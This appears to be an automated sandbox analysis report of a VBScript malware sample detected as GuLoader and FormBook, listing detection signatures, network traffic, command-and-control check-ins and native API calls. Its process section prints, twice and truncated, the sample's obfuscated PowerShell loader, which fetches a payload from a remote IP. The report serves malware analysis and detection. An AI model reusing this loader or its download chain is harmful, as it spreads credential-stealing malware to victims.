Windows Analysis Report
01105751.vbs

Overview

General Information

Sample name: 01105751.vbs
renamed because original name is a hash value
Original sample name: _20240501105751.vbs
Analysis ID: 1435413
MD5: 5c7e4886e009c7d2908ec633bf48cf8e
SHA1: 72e9f5c65571b19402febfa7f36fc6ee5ce9a0f3
SHA256: c950aba2061fbb90b63122bec04b71764966e5554b6cd40114772c392464f748
Tags: vbs
Infos:

Detection

FormBook, GuLoader
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Malicious sample detected (through community Yara rule)
Snort IDS alert for network traffic
VBScript performs obfuscated calls to suspicious functions
Yara detected FormBook
Yara detected GuLoader
Creates multiple autostart registry keys
Found direct / indirect Syscall (likely to bypass EDR)
Found suspicious powershell code related to unpacking or dynamic code loading
Hides threads from debuggers
Maps a DLL or memory area into another process
Queues an APC in another process (thread injection)
Sigma detected: WScript or CScript Dropper
Sigma detected: Wab/Wabmig Unusual Parent Or Child Processes
Suspicious execution chain found
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file / registry access)
Uses ping.exe to check the status of other devices and networks
Uses ping.exe to sleep
Very long command line found
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Checks if the current process is being debugged
Contains functionality for execution timing, often used to detect debuggers
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to read the PEB
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found inlined nop instructions (likely shell or obfuscated code)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
Internet Provider seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Direct Autorun Keys Modification
Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
Sigma detected: Suspicious Copy From or To System Directory
Sigma detected: Suspicious Powershell In Registry Run Keys
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

AV Detection
barindex
Antivirus detection for URL or domain
Source: http://pesterbdd.com/images/Pester.png URL Reputation: Label: malware
Yara detected FormBook
Source: Yara match File source: 00000017.00000002.3568353158.0000000001500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.3568882333.00000000036A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.3231394969.0000000003200000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.3567612740.0000000002F30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.3568923150.00000000038D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.3306907165.0000000025560000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.3568770287.0000000003660000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Binary string: C:\Windows\System.Management.Automation.pdbpdbion.pdbV source: powershell.exe, 0000000B.00000002.2871144100.00000000074DD000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5T source: powershell.exe, 0000000B.00000002.2871144100.0000000007400000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbn[ source: powershell.exe, 0000000B.00000002.2871144100.00000000074AA000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5l source: powershell.exe, 0000000B.00000002.2871144100.0000000007400000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: wab.exe, xcopy.exe
Source: Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 0000000B.00000002.2871144100.00000000074E5000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: xcopy.pdb source: wab.exe
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 22_2_02F4B7A0 FindFirstFileW,FindNextFileW,FindClose, 22_2_02F4B7A0

Software Vulnerabilities
barindex
Suspicious execution chain found
Source: C:\Windows\System32\wscript.exe Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Found inlined nop instructions (likely shell or obfuscated code)
Source: C:\Windows\SysWOW64\xcopy.exe Code function: 4x nop then xor eax, eax 22_2_02F393E0

Networking
barindex
Snort IDS alert for network traffic
Source: Traffic Snort IDS: 2855465 ETPRO TROJAN FormBook CnC Checkin (GET) M2 192.168.2.6:49725 -> 34.174.122.2:80
Source: Traffic Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:49727 -> 3.33.130.190:80
Source: Traffic Snort IDS: 2855464 ETPRO TROJAN FormBook CnC Checkin (POST) M3 192.168.2.6:49728 -> 3.33.130.190:80
Uses ping.exe to check the status of other devices and networks
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\PING.EXE ping google.com -n 1
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: ATGS-MMD-ASUS ATGS-MMD-ASUS
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: unknown TCP traffic detected without corresponding DNS query: 87.121.105.54
Source: global traffic HTTP traffic detected: GET /Ommestrup.deploy HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 87.121.105.54Connection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /iYbZIhIVLPBjJUzImyrJN72.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 87.121.105.54Cache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /gnto/?P2v=kzXtiRyPGhR4rzp&4v8xJ8=F2aKH/UhYyQy5bhtG47arqZTAzYBZHKo8pZvH2jiqbKPAiUNCKzfvPloMCIQjvvo+O//vWhBzU38U00+OJnukLQGsUBXCgymNTKCViCR5sTiLbhUlqXxexqjYjSB6xlfqI4lO2I= HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Language: en-US,en;q=0.9Host: www.facesofhoustontx.comConnection: closeUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4
Source: global traffic DNS traffic detected: DNS query: google.com
Source: global traffic DNS traffic detected: DNS query: www.facesofhoustontx.com
Source: global traffic DNS traffic detected: DNS query: www.timesrenewables.com
Source: powershell.exe, 00000008.00000002.3288836081.000001EF28FF8000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000008.00000002.3288836081.000001EF2AE16000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://87.121.105.54
Source: powershell.exe, 00000008.00000002.3288836081.000001EF28FF8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://87.121.105.54/Ommestrup.deployP
Source: powershell.exe, 00000008.00000002.3288836081.000001EF2AFCA000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://87.121.H
Source: wscript.exe, 00000000.00000003.2228249019.0000022CBEC96000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2227533901.0000022CBEC2E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2228795588.0000022CBEC96000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en
Source: wscript.exe, 00000000.00000002.2228998163.0000022CC0B70000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: wscript.exe, 00000000.00000003.2183539052.0000022CC0BA9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2182822284.0000022CC0BFE000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2183808324.0000022CC0BD1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab?ae76aada72762
Source: wscript.exe, 00000000.00000003.2183539052.0000022CC0BA9000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2223236655.0000022CC0BD1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2183808324.0000022CC0BD1000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ctldl.windowsupdate.com:80/msdownload/update/v3/static/trustedr/en/authrootstl.cab?ae76aada72
Source: powershell.exe, 00000008.00000002.3522392723.000001EF38E41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000008.00000002.3288836081.000001EF28FF8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000008.00000002.3288836081.000001EF28DD1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000008.00000002.3288836081.000001EF28FF8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: powershell.exe, 00000008.00000002.3288836081.000001EF28DD1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://aka.ms/pscore68
Source: powershell.exe, 00000008.00000002.3522392723.000001EF38E41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000008.00000002.3522392723.000001EF38E41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000008.00000002.3522392723.000001EF38E41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://contoso.com/License
Source: powershell.exe, 00000008.00000002.3288836081.000001EF28FF8000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://github.com/Pester/Pester
Source: powershell.exe, 00000008.00000002.3288836081.000001EF2A2CC000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://go.micro
Source: powershell.exe, 00000008.00000002.3522392723.000001EF38E41000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://nuget.org/nuget.exe

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 00000017.00000002.3568353158.0000000001500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.3568882333.00000000036A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.3231394969.0000000003200000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.3567612740.0000000002F30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.3568923150.00000000038D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.3306907165.0000000025560000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000016.00000002.3568770287.0000000003660000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: amsi64_5692.amsi.csv, type: OTHER Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: amsi32_6096.amsi.csv, type: OTHER Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Source: 00000017.00000002.3568353158.0000000001500000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000016.00000002.3568882333.00000000036A0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000011.00000002.3231394969.0000000003200000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000016.00000002.3567612740.0000000002F30000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000015.00000002.3568923150.00000000038D0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000011.00000002.3306907165.0000000025560000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000016.00000002.3568770287.0000000003660000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: Process Memory Space: powershell.exe PID: 5692, type: MEMORYSTR Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen
Very long command line found
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 7566
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: Commandline size = 7566
Source: C:\Windows\System32\wscript.exe Process created: Commandline size = 7566 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: Commandline size = 7566 Jump to behavior
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c dir
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Retorsionshandlingenllustrationer = 1;$Elytrigerous='S';$Elytrigerous+='ubstrin';$Elytrigerous+='g';Function Programregningsfunktionens($Ridderne){$Retorsionshandlingennfraocular=$Ridderne.Length-$Retorsionshandlingenllustrationer;For($Retorsionshandlingen=5; $Retorsionshandlingen -lt $Retorsionshandlingennfraocular; $Retorsionshandlingen+=(6)){$Outsmokes+=$Ridderne.$Elytrigerous.Invoke( $Retorsionshandlingen, $Retorsionshandlingenllustrationer);}$Outsmokes;}function Gracy216($Begrendes){. ($Antediluvianske) ($Begrendes);}$Diskoskasteren=Programregningsfunktionens 's.perM L deoLandszAccomiTurbolBrystlSu.loa Inte/Linje5.ilfo.Brneb0B,ddi illi(MamelWKortsiExoranBowkndSp,dho.urvew,ndtrsFjase utotNmilepTb,een marga1San.u0Balli.Montr0H,rsk;.ykke BrakpWxanthi ,ervnReprs6trova4Filet;D,awc vidnxT,gue6Admin4Cotra;Insci Un btrTogstvEgipt:Inter1Riv l2For e1 daun. Gens0Sknde)Neutr Trak GRepudeGuldkc BelakTandloV.rde/ edb2Uheld0Sknhe1Elek.0Nell,0 ,rot1Un,en0Skibi1savne MordFautogiKo,merDe,inearom,fShipboHapaxxStork/Inten1Splas2Ds,es1 ilsk.Fylds0Capri ';$Sprayens=Programregningsfunktionens 'NondeU rubasVa neeBe,kir For -,geblAR.bbegholose Ta dn ParatPrivi ';$Reprogrammes=Programregningsfunktionens 'Stuf.hL.muctVersit SubspCosmo:etcif/Taksa/ Impl8Morph7Far,n.Bronz1Anal,2proc,1Ungl .unpol1Unper0F,nda5varmt. Gr,n5Roc,e4,sent/SeksaOOverrmMismamT.buleLandlsForcetmis,arAtropuDiscop,iske.AarsadUnsanesaanipBrodflDiameonamatySawai ';$Kretidseffekternes=Programregningsfunktionens 'Vejkr>Phisa ';$Antediluvianske=Programregningsfunktionens 'Etam.iRaadie saddxFasts ';$Gunlaying='Forraadnelig';Gracy216 (Programregningsfunktionens ' L urS AtikeSignatRecon- geneCPen,eo.endrnNovumtPrintelailanPorphtSt ir Peatw-AngloPObitaa elvetSymbohP,esh TrvemT,ough: ,aad\ Afv I Cerid.roldrCheskt UdpasFilerfMenneo C,lorsol,ceSuavenphaneiIndlenAabengSeepssUnche1Pre i9Wi,db7Super.RadiotNiveax t rrt Duod Evole-Un mmV selraMoraklPericuUnmoueAdvoc Melle$samstG estiu AppenRe,orl TeleaAnmrkySaponiImmunn BehvgAh.eh;Chabo ');Gracy216 (Programregningsfunktionens ' FramiHabi,fCacos larit( GrectV.stfe.olfisTalertRidge-OzonopJu iaaStoddtTabarhPigl, Pse THaand:Mosen\KomplI .oemd ilker tigetEperosKrig,f ColloPl.udr SubseMad lnNonmoiKromgnEnok g SaxosHaand1 Twir9Op oe7 Lov..Fedtst An txfarvet Rede) rtss{ Ka.me KropxFaksiiUdsket Sang} Un s; Gro, ');$Kvrne = Programregningsfunktionens 'NedraeUnconcUan.ghPet ooPaatn Munke%Kys.eaCasanpfy,depSixpedOver aGravit orema Ragl%Euboe\DevelS LovgaLaa,ngPlat sNematgBug.gn JalaiTegninOvercgArbe.eSl,knr Forsn p.ileafsvo. UnshISpirinM lartH ved .fsla&Neonr&Be.ri AdiabeTro ecUdganhSvovloeksp Trink$Ambol ';Gracy216 (Programregningsfunktionens 'Slide$SvmnigImperlAvn,soT aadb Rag,aPie alFordr: DemiVGoogoiQuittrShop k TrknsMycetofodbomHomemhDr sieEffemd De,isdawsst Bf eyOprikpBrancePatrunSongbs Thri=Nonam(Am.utcPillamSulted Stev Toksi/ ilhecRajah bed
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c dir Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Retorsionshandlingenllustrationer = 1;$Elytrigerous='S';$Elytrigerous+='ubstrin';$Elytrigerous+='g';Function Programregningsfunktionens($Ridderne){$Retorsionshandlingennfraocular=$Ridderne.Length-$Retorsionshandlingenllustrationer;For($Retorsionshandlingen=5; $Retorsionshandlingen -lt $Retorsionshandlingennfraocular; $Retorsionshandlingen+=(6)){$Outsmokes+=$Ridderne.$Elytrigerous.Invoke( $Retorsionshandlingen, $Retorsionshandlingenllustrationer);}$Outsmokes;}function Gracy216($Begrendes){. ($Antediluvianske) ($Begrendes);}$Diskoskasteren=Programregningsfunktionens 's.perM L deoLandszAccomiTurbolBrystlSu.loa Inte/Linje5.ilfo.Brneb0B,ddi illi(MamelWKortsiExoranBowkndSp,dho.urvew,ndtrsFjase utotNmilepTb,een marga1San.u0Balli.Montr0H,rsk;.ykke BrakpWxanthi ,ervnReprs6trova4Filet;D,awc vidnxT,gue6Admin4Cotra;Insci Un btrTogstvEgipt:Inter1Riv l2For e1 daun. Gens0Sknde)Neutr Trak GRepudeGuldkc BelakTandloV.rde/ edb2Uheld0Sknhe1Elek.0Nell,0 ,rot1Un,en0Skibi1savne MordFautogiKo,merDe,inearom,fShipboHapaxxStork/Inten1Splas2Ds,es1 ilsk.Fylds0Capri ';$Sprayens=Programregningsfunktionens 'NondeU rubasVa neeBe,kir For -,geblAR.bbegholose Ta dn ParatPrivi ';$Reprogrammes=Programregningsfunktionens 'Stuf.hL.muctVersit SubspCosmo:etcif/Taksa/ Impl8Morph7Far,n.Bronz1Anal,2proc,1Ungl .unpol1Unper0F,nda5varmt. Gr,n5Roc,e4,sent/SeksaOOverrmMismamT.buleLandlsForcetmis,arAtropuDiscop,iske.AarsadUnsanesaanipBrodflDiameonamatySawai ';$Kretidseffekternes=Programregningsfunktionens 'Vejkr>Phisa ';$Antediluvianske=Programregningsfunktionens 'Etam.iRaadie saddxFasts ';$Gunlaying='Forraadnelig';Gracy216 (Programregningsfunktionens ' L urS AtikeSignatRecon- geneCPen,eo.endrnNovumtPrintelailanPorphtSt ir Peatw-AngloPObitaa elvetSymbohP,esh TrvemT,ough: ,aad\ Afv I Cerid.roldrCheskt UdpasFilerfMenneo C,lorsol,ceSuavenphaneiIndlenAabengSeepssUnche1Pre i9Wi,db7Super.RadiotNiveax t rrt Duod Evole-Un mmV selraMoraklPericuUnmoueAdvoc Melle$samstG estiu AppenRe,orl TeleaAnmrkySaponiImmunn BehvgAh.eh;Chabo ');Gracy216 (Programregningsfunktionens ' FramiHabi,fCacos larit( GrectV.stfe.olfisTalertRidge-OzonopJu iaaStoddtTabarhPigl, Pse THaand:Mosen\KomplI .oemd ilker tigetEperosKrig,f ColloPl.udr SubseMad lnNonmoiKromgnEnok g SaxosHaand1 Twir9Op oe7 Lov..Fedtst An txfarvet Rede) rtss{ Ka.me KropxFaksiiUdsket Sang} Un s; Gro, ');$Kvrne = Programregningsfunktionens 'NedraeUnconcUan.ghPet ooPaatn Munke%Kys.eaCasanpfy,depSixpedOver aGravit orema Ragl%Euboe\DevelS LovgaLaa,ngPlat sNematgBug.gn JalaiTegninOvercgArbe.eSl,knr Forsn p.ileafsvo. UnshISpirinM lartH ved .fsla&Neonr&Be.ri AdiabeTro ecUdganhSvovloeksp Trink$Ambol ';Gracy216 (Programregningsfunktionens 'Slide$SvmnigImperlAvn,soT aadb Rag,aPie alFordr: DemiVGoogoiQuittrShop k TrknsMycetofodbomHomemhDr sieEffemd De,isdawsst Bf eyOprikpBrancePatrunSongbs Thri=Nonam(Am.utcPillamSulted Stev Toksi/ ilhecRajah bed Jump to behavior
Contains functionality to call native functions
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_248835C0 NtCreateMutant,LdrInitializeThunk, 17_2_248835C0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882DF0 NtQuerySystemInformation,LdrInitializeThunk, 17_2_24882DF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882B60 NtClose,LdrInitializeThunk, 17_2_24882B60
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882C70 NtFreeVirtualMemory,LdrInitializeThunk, 17_2_24882C70
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882B80 NtQueryInformationFile, 17_2_24882B80
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882E80 NtReadVirtualMemory, 17_2_24882E80
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882F90 NtProtectVirtualMemory, 17_2_24882F90
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24883090 NtSetValueKey, 17_2_24883090
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882BA0 NtEnumerateValueKey, 17_2_24882BA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882CA0 NtQueryInformationToken, 17_2_24882CA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882EA0 NtAdjustPrivilegesToken, 17_2_24882EA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882FA0 NtQuerySection, 17_2_24882FA0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882AB0 NtWaitForSingleObject, 17_2_24882AB0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882DB0 NtEnumerateKey, 17_2_24882DB0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882FB0 NtResumeThread, 17_2_24882FB0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_248839B0 NtGetContextThread, 17_2_248839B0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882CC0 NtQueryVirtualMemory, 17_2_24882CC0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882AD0 NtReadFile, 17_2_24882AD0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882DD0 NtDelayExecution, 17_2_24882DD0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882BE0 NtQueryValueKey, 17_2_24882BE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882EE0 NtQueueApcThread, 17_2_24882EE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882FE0 NtCreateFile, 17_2_24882FE0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882BF0 NtAllocateVirtualMemory, 17_2_24882BF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882AF0 NtWriteFile, 17_2_24882AF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882CF0 NtOpenProcess, 17_2_24882CF0
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882C00 NtQueryInformationProcess, 17_2_24882C00
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882D00 NtSetInformationFile, 17_2_24882D00
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882D10 NtMapViewOfSection, 17_2_24882D10
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24883010 NtOpenDirectoryObject, 17_2_24883010
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24883D10 NtOpenProcessToken, 17_2_24883D10
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882D30 NtUnmapViewOfSection, 17_2_24882D30
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882E30 NtWriteVirtualMemory, 17_2_24882E30
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882F30 NtCreateSection, 17_2_24882F30
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24884340 NtSetContextThread, 17_2_24884340
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24884650 NtSuspendThread, 17_2_24884650
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24882C60 NtCreateKey, 17_2_24882C60
